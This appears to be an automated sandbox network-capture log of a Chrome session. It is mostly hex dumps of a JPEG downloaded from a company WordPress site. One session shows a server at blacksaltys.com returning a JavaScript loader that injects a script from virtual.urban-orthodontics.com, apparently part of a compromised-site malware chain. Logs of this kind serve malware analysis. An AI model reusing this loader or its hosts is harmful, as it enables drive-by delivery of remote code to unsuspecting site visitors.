2024-10-07 11:17:31 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:32 UTC	8000	IN	Data Raw: e2 0f 78 9c 69 66 25 d7 6b 10 c0 94 b0 70 75 98 cb 1f 1d 4d 26 52 d6 d2 bb 18 61 e9 70 1c 77 1d 32 25 2c 50 6e ae be 4b 9b 1b c0 7a 7e d9 cf d4 3d 82 b6 6b 47 2c 7b 8a 3c a4 7f 10 e5 27 4f 55 5f 52 ec b9 3a 85 0c a0 12 c4 2f e9 1e 27 8c ca c1 b5 2a ca 6c 25 4c 6e 5d 8f ba c2 cf f6 d7 d0 3e a3 f5 78 76 45 da 49 dc c7 00 71 27 87 cc ca 58 6d 38 01 45 4a 34 d7 53 8f 01 a4 5d b5 d4 a6 c7 05 ca ea 0b 6b f0 10 9d 3e 49 54 a2 ab ee b4 1a d7 7a d6 0e bc 17 71 ef 3d 82 33 58 cd fd 4b 34 fa 6b f2 8f 9f aa 20 2c b5 80 7d 47 56 f1 3a c4 d1 7c ce 71 93 80 39 9f 09 61 7a 51 6e 49 2d 6f 4f 4b 52 ec 83 db f2 e4 85 d0 1c 70 c8 e1 3c ee 93 aa eb 1e c5 55 1f a0 26 71 ae 17 b3 3c e7 a2 ab b9 59 ae d0 00 76 d6 35 c6 9c 5b b4 c6 45 5b 3a 5a d0 e8 40 05 58 71 52 39 ca b3 4b 16 Data Ascii: xif%kpuM&Rapw2%,PnKz~=kG,{<'OU_R:/'*l%Ln]>xvEIq'Xm8EJ4S]k>ITzq=3XK4k ,}GV:\|q9azQnI-oOKRp<U&q<Yv5[E[:Z@XqR9K
2024-10-07 11:17:32 UTC	8000	IN	Data Raw: 17 0b 16 ec 9c 46 fa d0 ae b2 b5 38 fa 2e b0 dc 83 a7 67 14 e3 25 9b 9b 67 b3 b2 75 b5 4a 8b 8a 80 da 3b 3e fc ce 7a 29 a9 11 18 ae d0 de 57 23 88 3f a5 bc 0c e8 35 ad 7f d6 4c 2f fd ea fc bf eb 55 e1 e3 35 9c 72 7c 68 b6 ea 67 19 8a fa 85 7b 94 e4 9c 0e 39 3d 91 05 3f dc 37 bb b7 f6 94 e6 aa f3 8c 9f ad 4f 23 03 5b 5c c5 2a b4 9a 07 ad 9b 04 13 f4 8c 62 3f bb 6a 9c 14 0c 31 8f 21 c7 d8 d8 fb e6 6b a4 4f a4 22 f7 b1 8c c7 07 dc f3 28 d3 dc c6 ab fc e3 f1 83 57 b9 31 e0 55 86 ba 8d 41 8d ef d4 48 67 26 ab 07 07 60 47 c0 93 a1 13 14 ed 3f b4 54 31 ff 00 6f 3f b6 dd eb f4 98 ae d0 5f 73 15 cd 8a 43 a8 dc ba 38 ef ff 00 19 a6 c6 a6 b6 74 3e 91 e5 56 d7 5e 58 33 19 ab df ee 80 54 81 8b d0 f1 c7 26 1d b8 30 b9 77 5b 5d 6b a8 5f dc 6f 01 c0 45 25 52 97 20 57 50 Data Ascii: F8.g%guJ;>z)W#?5L/U5r\|hg{9=?7O#[\*b?j1!kO"(W1UAHg&`G?T1o?_sC8t>V^X3T&0w[]k_oE%R WP
2024-10-07 11:17:32 UTC	8000	IN	Data Raw: aa df 66 19 16 cd df f7 2c 6d a0 78 2f 19 c7 d5 f4 76 d9 61 66 b7 7e c0 03 b1 ce 14 93 c0 4b 8a 4d bc 5e 49 27 ea 1b 71 29 49 d3 d4 df 5f 48 36 67 7d 76 79 ab 55 c6 54 8f c2 52 9b 9f ab fd da f0 a0 f9 41 63 9d bd b8 5e 72 43 a1 e9 9c 27 4f 7a 94 b5 06 15 c1 f5 cb f4 d5 d6 2a 34 14 1b aa 38 6e d3 d8 73 19 70 58 d2 5e 5a be 9b 85 ca 7a 6c 50 54 a8 db 8e 5d f8 6f 6d 4f c3 b2 4b 79 b2 c3 77 e9 5c ad 7d ff 00 51 85 ab 8d b5 56 4a 58 fc 30 78 0e 66 05 08 01 51 8e d0 30 01 00 cc ad db bf c8 a2 d9 8b 41 56 3e 07 b3 be 4c 06 62 6b b3 fa 83 9f 26 1f 50 97 4a ed ce 70 1b bb 51 33 a9 65 4a c9 b0 6c 74 1b 95 94 82 72 25 4e bc 55 48 d6 ac e4 7a c8 3a 49 91 8e 31 e8 eb bf b9 b9 6a b1 15 43 73 07 b3 b6 5a ce 9c e6 75 97 8b e3 95 19 98 4e a8 e5 84 af b2 61 ec 99 79 22 43 Data Ascii: f,mx/vaf~KM^I'q)I_H6g}vyUTRAc^rC'Oz*48nspX^ZzlPT]omOKyw\}QVJX0xfQ0AV>Lbk&PJpQ3eJltr%NUHz:I1jCsZuNay"C
2024-10-07 11:17:32 UTC	8000	IN	Data Raw: 87 0f 53 d2 ce d2 00 e0 38 45 e9 dc ae fa fe 93 91 e0 75 8e 6e a8 1f 38 28 7f 8c 6c fb 5b 12 16 75 54 d5 d4 0d da 07 5d a7 1b 48 d0 e4 1e 33 29 37 2a 3a fa 06 d2 ac 95 64 28 de f5 5a 76 8e 5e 07 ba 17 5c 8d d3 31 c6 d6 5c 12 87 8e 72 0f ca 51 58 8d 42 f9 48 fe 13 90 7e 33 83 fe 4b a7 72 16 c4 d5 06 98 38 d3 3f 84 b8 25 96 49 64 e3 af d0 65 44 da 3a eb 25 2a df fa ac 25 c9 f1 e1 30 91 6a 94 61 9c 8c 0c c4 e8 c3 a5 3e c5 e4 fb a3 55 5e 27 69 e1 8c 46 d1 4e 70 d8 ee 53 f9 43 50 de b5 a3 43 44 15 ed 6a 83 02 54 f0 20 1e 63 43 a1 8c 96 3a 9c 68 e3 9e 74 fc e2 21 02 c7 4c 1c 37 9c 68 79 9d 66 81 ac 35 79 03 ef 3d 39 dc a1 85 5c 4a 63 d3 de a4 64 63 ba 4a 94 0c ed d5 d6 76 0b 8e 14 af 01 8f a8 77 ca 58 fb 82 f4 e0 e0 d9 ea 39 e0 a3 f3 85 b5 52 7c d5 95 04 8d 53 Data Ascii: S8Eun8(l[uT]H3)7:d(Zv^\1\rQXBH~3Kr8?%IdeD:%%0ja>U^'iFNpSCPCDjT cC:ht!L7hyf5y=9\JcdcJvwX9R\|S
2024-10-07 11:17:32 UTC	8000	IN	Data Raw: 5f 57 4a 40 1d c1 a2 bf ba a7 cd 73 78 00 04 4d c9 9f 33 39 3f cd 8f ba 73 ab d6 7b 49 aa 0e ed d3 64 3a 91 55 8a 74 de b8 07 b9 a7 0a 75 55 b5 86 bf 4a 36 14 9e 20 00 73 3d 0a ea e9 ec c6 53 76 7e a3 99 c2 fd 25 5f dc 1b 30 45 3b b1 81 a7 0e c9 bf d6 f1 aa 73 6d 4c e5 34 6a 0f 4b de 76 d2 9a 88 51 a0 67 d0 7c a4 ac a5 ad d6 cb 4f b8 3d 3b 74 03 ba 33 8e a2 a1 fb 6e 2d 4f a5 f4 6c 77 19 21 d4 21 6d b6 83 5b 77 ce 78 a7 7c 63 c5 5f b9 a6 f4 65 a8 7a c2 ed 54 08 eb eb 1f 8f 84 2c 0a 2d aa d2 a0 87 6f 6d b2 3b 47 39 8d 57 b8 05 95 b0 f7 17 d2 c3 81 1d 86 69 22 ea 58 01 b5 d7 04 a9 e2 ac 35 93 59 de 8f a4 97 a7 a1 3a 6b b1 05 a2 a2 0a 87 6c d6 dc 31 c4 6d 3c a0 d6 26 d2 c3 21 c6 9e d9 d1 b3 1f a5 7d fe e3 0f d4 55 be 6b 9f be 21 0b d5 5a 6c 6c ec af cb 59 1c Data Ascii: _WJ@sxM39?s{Id:UtuUJ6 s=Sv~%_0E;smL4jKvQg\|O=;t3n-Olw!!m[wx\|c_ezT,-om;G9Wi"X5Y:kl1m<&!}Uk!ZllY
2024-10-07 11:17:32 UTC	8000	IN	Data Raw: 10 02 10 84 00 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 00 21 08 40 34 1c 4a a5 98 3c 64 61 9c 43 52 54 ce d3 e7 c3 03 b6 c1 c1 bf 03 1d 2c 2e 4a 3f 96 c1 cb 91 f0 9c 95 b9 13 a2 c3 9a 19 c0 cb a8 ca e3 8e 67 2c b1 d3 d0 d2 65 b6 b8 ed 13 40 56 d1 c6 e1 e1 3c ee 97 aa ea 9a e0 59 b2 a7 d4 5c 79 67 a4 52 e2 33 ee 20 07 51 b0 4c e7 8b c5 c3 68 b8 b9 52 80 50 b8 fd b7 29 9f d2 35 5f 91 d2 2b 53 d5 57 aa 00 e3 b0 69 fe 11 18 58 38 da df 00 04 cc d7 fa 8b b7 8b 19 12 7b cf 82 d3 b1 8f d4 50 8a 7d f5 6a db 90 c6 87 c2 4d 2c ab a8 56 35 82 a5 78 83 a9 96 bf a7 e9 ef a8 81 e5 65 d4 1e 26 4a aa aa a2 9c 8c 96 71 92 4c d2 e3 c6 93 33 62 39 9d 20 e7 71 82 44 59 ae 72 c6 2c ec 8c 04 21 08 20 42 10 80 10 84 20 04 21 08 01 08 42 00 42 10 80 10 84 20 04 21 08 01 08 Data Ascii: !!@B!!@4J<daCRT,.J?g,e@V<Y\ygR3 QLhRP)5_+SWiX8{P}jM,V5xe&JqL3b9 qDYr,! B !BB !
2024-10-07 11:17:32 UTC	8000	IN	Data Raw: e1 59 f7 ec 17 71 ad 34 af bc f3 31 3a 90 2a 26 c5 19 2f a3 d2 3f 5f 78 13 6c 09 46 d5 a7 2a e4 61 50 6a 08 ed 22 15 82 8d ee 5e 09 73 fa c6 aa 3c 3b 24 5f f6 56 d1 6a c7 4d 77 27 d1 e1 9b 16 9c b8 fe 98 e4 07 67 8c 1c 1f 7a eb 57 56 42 1b e1 ce 1d 45 45 7f f9 3d 3e a5 4e 4a 8d 73 e1 36 8e a2 9b 2f 7d 70 6c 03 0a 7b 79 89 ab ce 6a aa 2a b6 26 c9 93 ea 14 30 0e 38 36 ab e1 38 48 c1 9e 81 ac a9 7a 4f 15 3b 97 f9 4c e3 b5 48 26 74 fd 6f 43 39 2d 49 42 67 38 4e a6 0d 84 c8 40 36 13 21 00 d8 4c 84 03 61 32 10 0d 84 c8 40 36 13 33 08 06 c2 00 47 15 93 24 81 40 9a 10 cb 2d 59 ed 8d 94 4d 33 b8 fd 2b 32 f2 d8 d4 13 5a 8c a6 c4 51 97 20 78 c6 cd 87 b2 b1 df a9 8b 94 5d 7d 47 b4 eb 33 2d ff 00 05 34 31 23 f6 d7 fc cd a0 ff 00 19 b8 1f ee 31 6e d5 1a 0f 94 9b 5d 24 Data Ascii: Yq41:&/?_xlFaPj"^s<;$_VjMw'gzWVBEE=>NJs6/}pl{yj*&0868HzO;LH&toC9-IBg8N@6!La2@63G$@-YM3+2ZQ x]}G3-41#1n]$
2024-10-07 11:17:32 UTC	183	IN	Data Raw: 02 8c 7f 6c 98 ec 3c 33 f6 e6 51 38 1e 1c 39 c2 13 39 6b dd 95 69 d8 e0 3f d6 6c ee c6 39 70 ff 00 2e 39 76 ce ae 93 8e 9e de 3f 83 d7 f1 cc 21 3a 7e db 2e ca d6 33 8d c6 4f 41 fe 66 e3 c7 8f dd 1a df e8 3f ab 97 a7 8c 21 31 ff 00 2f 25 d3 c1 c9 66 3d 8e 9f 18 c6 79 67 6f c7 9c 6e ab 87 3f c2 10 9d 31 be 3e 6f dc cb d7 c1 e7 99 90 84 f4 1c c2 10 84 00 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 00 21 08 40 01 1e 10 8d 41 ff d9 Data Ascii: l<3Q899ki?l9p.9v?!:~.3OAf?!1/%f=ygon?1>o!!@B!!@B!!@B!!@B!!@A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49918	77.232.36.155	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:32 UTC	382	OUT	GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1 Host: blacksaltys.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:32 UTC	299	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 11:17:32 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 226 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 07 Oct 2024 11:17:32 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-10-07 11:17:32 UTC	226	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 75 2c 71 2c 79 2c 64 2c 6e 29 7b 64 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 71 29 3b 6e 3d 75 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 71 29 5b 30 5d 3b 64 2e 61 73 79 6e 63 3d 31 3b 64 2e 73 72 63 3d 79 3b 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 6e 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 53 7a 6c 70 6e 54 41 62 43 76 51 76 47 31 4f 76 66 51 70 46 76 7a 6b 62 55 37 38 78 51 41 58 37 4f 31 73 66 76 7a 59 3d 27 29 Data Ascii: ;(function(u,q,y,d,n){d=u.createElement(q);n=u.getElementsByTagName(q)[0];d.async=1;d.src=y;n.parentNode.insertBefore(d,n);})(document,'script','https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=')

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49923	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:32 UTC	653	OUT	GET /2016/wp-content/uploads/2015/08/logistics-hero.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299844.0.0.0
2024-10-07 11:17:33 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:32 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:55 GMT Accept-Ranges: bytes Content-Length: 64141 Content-Type: image/jpeg
2024-10-07 11:17:33 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:33 UTC	8000	IN	Data Raw: e2 0f 78 9c 69 66 25 d7 6b 10 c0 94 b0 70 75 98 cb 1f 1d 4d 26 52 d6 d2 bb 18 61 e9 70 1c 77 1d 32 25 2c 50 6e ae be 4b 9b 1b c0 7a 7e d9 cf d4 3d 82 b6 6b 47 2c 7b 8a 3c a4 7f 10 e5 27 4f 55 5f 52 ec b9 3a 85 0c a0 12 c4 2f e9 1e 27 8c ca c1 b5 2a ca 6c 25 4c 6e 5d 8f ba c2 cf f6 d7 d0 3e a3 f5 78 76 45 da 49 dc c7 00 71 27 87 cc ca 58 6d 38 01 45 4a 34 d7 53 8f 01 a4 5d b5 d4 a6 c7 05 ca ea 0b 6b f0 10 9d 3e 49 54 a2 ab ee b4 1a d7 7a d6 0e bc 17 71 ef 3d 82 33 58 cd fd 4b 34 fa 6b f2 8f 9f aa 20 2c b5 80 7d 47 56 f1 3a c4 d1 7c ce 71 93 80 39 9f 09 61 7a 51 6e 49 2d 6f 4f 4b 52 ec 83 db f2 e4 85 d0 1c 70 c8 e1 3c ee 93 aa eb 1e c5 55 1f a0 26 71 ae 17 b3 3c e7 a2 ab b9 59 ae d0 00 76 d6 35 c6 9c 5b b4 c6 45 5b 3a 5a d0 e8 40 05 58 71 52 39 ca b3 4b 16 Data Ascii: xif%kpuM&Rapw2%,PnKz~=kG,{<'OU_R:/'*l%Ln]>xvEIq'Xm8EJ4S]k>ITzq=3XK4k ,}GV:\|q9azQnI-oOKRp<U&q<Yv5[E[:Z@XqR9K
2024-10-07 11:17:33 UTC	8000	IN	Data Raw: 17 0b 16 ec 9c 46 fa d0 ae b2 b5 38 fa 2e b0 dc 83 a7 67 14 e3 25 9b 9b 67 b3 b2 75 b5 4a 8b 8a 80 da 3b 3e fc ce 7a 29 a9 11 18 ae d0 de 57 23 88 3f a5 bc 0c e8 35 ad 7f d6 4c 2f fd ea fc bf eb 55 e1 e3 35 9c 72 7c 68 b6 ea 67 19 8a fa 85 7b 94 e4 9c 0e 39 3d 91 05 3f dc 37 bb b7 f6 94 e6 aa f3 8c 9f ad 4f 23 03 5b 5c c5 2a b4 9a 07 ad 9b 04 13 f4 8c 62 3f bb 6a 9c 14 0c 31 8f 21 c7 d8 d8 fb e6 6b a4 4f a4 22 f7 b1 8c c7 07 dc f3 28 d3 dc c6 ab fc e3 f1 83 57 b9 31 e0 55 86 ba 8d 41 8d ef d4 48 67 26 ab 07 07 60 47 c0 93 a1 13 14 ed 3f b4 54 31 ff 00 6f 3f b6 dd eb f4 98 ae d0 5f 73 15 cd 8a 43 a8 dc ba 38 ef ff 00 19 a6 c6 a6 b6 74 3e 91 e5 56 d7 5e 58 33 19 ab df ee 80 54 81 8b d0 f1 c7 26 1d b8 30 b9 77 5b 5d 6b a8 5f dc 6f 01 c0 45 25 52 97 20 57 50 Data Ascii: F8.g%guJ;>z)W#?5L/U5r\|hg{9=?7O#[\*b?j1!kO"(W1UAHg&`G?T1o?_sC8t>V^X3T&0w[]k_oE%R WP
2024-10-07 11:17:33 UTC	8000	IN	Data Raw: aa df 66 19 16 cd df f7 2c 6d a0 78 2f 19 c7 d5 f4 76 d9 61 66 b7 7e c0 03 b1 ce 14 93 c0 4b 8a 4d bc 5e 49 27 ea 1b 71 29 49 d3 d4 df 5f 48 36 67 7d 76 79 ab 55 c6 54 8f c2 52 9b 9f ab fd da f0 a0 f9 41 63 9d bd b8 5e 72 43 a1 e9 9c 27 4f 7a 94 b5 06 15 c1 f5 cb f4 d5 d6 2a 34 14 1b aa 38 6e d3 d8 73 19 70 58 d2 5e 5a be 9b 85 ca 7a 6c 50 54 a8 db 8e 5d f8 6f 6d 4f c3 b2 4b 79 b2 c3 77 e9 5c ad 7d ff 00 51 85 ab 8d b5 56 4a 58 fc 30 78 0e 66 05 08 01 51 8e d0 30 01 00 cc ad db bf c8 a2 d9 8b 41 56 3e 07 b3 be 4c 06 62 6b b3 fa 83 9f 26 1f 50 97 4a ed ce 70 1b bb 51 33 a9 65 4a c9 b0 6c 74 1b 95 94 82 72 25 4e bc 55 48 d6 ac e4 7a c8 3a 49 91 8e 31 e8 eb bf b9 b9 6a b1 15 43 73 07 b3 b6 5a ce 9c e6 75 97 8b e3 95 19 98 4e a8 e5 84 af b2 61 ec 99 79 22 43 Data Ascii: f,mx/vaf~KM^I'q)I_H6g}vyUTRAc^rC'Oz*48nspX^ZzlPT]omOKyw\}QVJX0xfQ0AV>Lbk&PJpQ3eJltr%NUHz:I1jCsZuNay"C
2024-10-07 11:17:33 UTC	8000	IN	Data Raw: 87 0f 53 d2 ce d2 00 e0 38 45 e9 dc ae fa fe 93 91 e0 75 8e 6e a8 1f 38 28 7f 8c 6c fb 5b 12 16 75 54 d5 d4 0d da 07 5d a7 1b 48 d0 e4 1e 33 29 37 2a 3a fa 06 d2 ac 95 64 28 de f5 5a 76 8e 5e 07 ba 17 5c 8d d3 31 c6 d6 5c 12 87 8e 72 0f ca 51 58 8d 42 f9 48 fe 13 90 7e 33 83 fe 4b a7 72 16 c4 d5 06 98 38 d3 3f 84 b8 25 96 49 64 e3 af d0 65 44 da 3a eb 25 2a df fa ac 25 c9 f1 e1 30 91 6a 94 61 9c 8c 0c c4 e8 c3 a5 3e c5 e4 fb a3 55 5e 27 69 e1 8c 46 d1 4e 70 d8 ee 53 f9 43 50 de b5 a3 43 44 15 ed 6a 83 02 54 f0 20 1e 63 43 a1 8c 96 3a 9c 68 e3 9e 74 fc e2 21 02 c7 4c 1c 37 9c 68 79 9d 66 81 ac 35 79 03 ef 3d 39 dc a1 85 5c 4a 63 d3 de a4 64 63 ba 4a 94 0c ed d5 d6 76 0b 8e 14 af 01 8f a8 77 ca 58 fb 82 f4 e0 e0 d9 ea 39 e0 a3 f3 85 b5 52 7c d5 95 04 8d 53 Data Ascii: S8Eun8(l[uT]H3)7:d(Zv^\1\rQXBH~3Kr8?%IdeD:%%0ja>U^'iFNpSCPCDjT cC:ht!L7hyf5y=9\JcdcJvwX9R\|S
2024-10-07 11:17:33 UTC	8000	IN	Data Raw: 5f 57 4a 40 1d c1 a2 bf ba a7 cd 73 78 00 04 4d c9 9f 33 39 3f cd 8f ba 73 ab d6 7b 49 aa 0e ed d3 64 3a 91 55 8a 74 de b8 07 b9 a7 0a 75 55 b5 86 bf 4a 36 14 9e 20 00 73 3d 0a ea e9 ec c6 53 76 7e a3 99 c2 fd 25 5f dc 1b 30 45 3b b1 81 a7 0e c9 bf d6 f1 aa 73 6d 4c e5 34 6a 0f 4b de 76 d2 9a 88 51 a0 67 d0 7c a4 ac a5 ad d6 cb 4f b8 3d 3b 74 03 ba 33 8e a2 a1 fb 6e 2d 4f a5 f4 6c 77 19 21 d4 21 6d b6 83 5b 77 ce 78 a7 7c 63 c5 5f b9 a6 f4 65 a8 7a c2 ed 54 08 eb eb 1f 8f 84 2c 0a 2d aa d2 a0 87 6f 6d b2 3b 47 39 8d 57 b8 05 95 b0 f7 17 d2 c3 81 1d 86 69 22 ea 58 01 b5 d7 04 a9 e2 ac 35 93 59 de 8f a4 97 a7 a1 3a 6b b1 05 a2 a2 0a 87 6c d6 dc 31 c4 6d 3c a0 d6 26 d2 c3 21 c6 9e d9 d1 b3 1f a5 7d fe e3 0f d4 55 be 6b 9f be 21 0b d5 5a 6c 6c ec af cb 59 1c Data Ascii: _WJ@sxM39?s{Id:UtuUJ6 s=Sv~%_0E;smL4jKvQg\|O=;t3n-Olw!!m[wx\|c_ezT,-om;G9Wi"X5Y:kl1m<&!}Uk!ZllY
2024-10-07 11:17:33 UTC	8000	IN	Data Raw: 10 02 10 84 00 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 00 21 08 40 34 1c 4a a5 98 3c 64 61 9c 43 52 54 ce d3 e7 c3 03 b6 c1 c1 bf 03 1d 2c 2e 4a 3f 96 c1 cb 91 f0 9c 95 b9 13 a2 c3 9a 19 c0 cb a8 ca e3 8e 67 2c b1 d3 d0 d2 65 b6 b8 ed 13 40 56 d1 c6 e1 e1 3c ee 97 aa ea 9a e0 59 b2 a7 d4 5c 79 67 a4 52 e2 33 ee 20 07 51 b0 4c e7 8b c5 c3 68 b8 b9 52 80 50 b8 fd b7 29 9f d2 35 5f 91 d2 2b 53 d5 57 aa 00 e3 b0 69 fe 11 18 58 38 da df 00 04 cc d7 fa 8b b7 8b 19 12 7b cf 82 d3 b1 8f d4 50 8a 7d f5 6a db 90 c6 87 c2 4d 2c ab a8 56 35 82 a5 78 83 a9 96 bf a7 e9 ef a8 81 e5 65 d4 1e 26 4a aa aa a2 9c 8c 96 71 92 4c d2 e3 c6 93 33 62 39 9d 20 e7 71 82 44 59 ae 72 c6 2c ec 8c 04 21 08 20 42 10 80 10 84 20 04 21 08 01 08 42 00 42 10 80 10 84 20 04 21 08 01 08 Data Ascii: !!@B!!@4J<daCRT,.J?g,e@V<Y\ygR3 QLhRP)5_+SWiX8{P}jM,V5xe&JqL3b9 qDYr,! B !BB !
2024-10-07 11:17:33 UTC	8000	IN	Data Raw: e1 59 f7 ec 17 71 ad 34 af bc f3 31 3a 90 2a 26 c5 19 2f a3 d2 3f 5f 78 13 6c 09 46 d5 a7 2a e4 61 50 6a 08 ed 22 15 82 8d ee 5e 09 73 fa c6 aa 3c 3b 24 5f f6 56 d1 6a c7 4d 77 27 d1 e1 9b 16 9c b8 fe 98 e4 07 67 8c 1c 1f 7a eb 57 56 42 1b e1 ce 1d 45 45 7f f9 3d 3e a5 4e 4a 8d 73 e1 36 8e a2 9b 2f 7d 70 6c 03 0a 7b 79 89 ab ce 6a aa 2a b6 26 c9 93 ea 14 30 0e 38 36 ab e1 38 48 c1 9e 81 ac a9 7a 4f 15 3b 97 f9 4c e3 b5 48 26 74 fd 6f 43 39 2d 49 42 67 38 4e a6 0d 84 c8 40 36 13 21 00 d8 4c 84 03 61 32 10 0d 84 c8 40 36 13 33 08 06 c2 00 47 15 93 24 81 40 9a 10 cb 2d 59 ed 8d 94 4d 33 b8 fd 2b 32 f2 d8 d4 13 5a 8c a6 c4 51 97 20 78 c6 cd 87 b2 b1 df a9 8b 94 5d 7d 47 b4 eb 33 2d ff 00 05 34 31 23 f6 d7 fc cd a0 ff 00 19 b8 1f ee 31 6e d5 1a 0f 94 9b 5d 24 Data Ascii: Yq41:&/?_xlFaPj"^s<;$_VjMw'gzWVBEE=>NJs6/}pl{yj*&0868HzO;LH&toC9-IBg8N@6!La2@63G$@-YM3+2ZQ x]}G3-41#1n]$
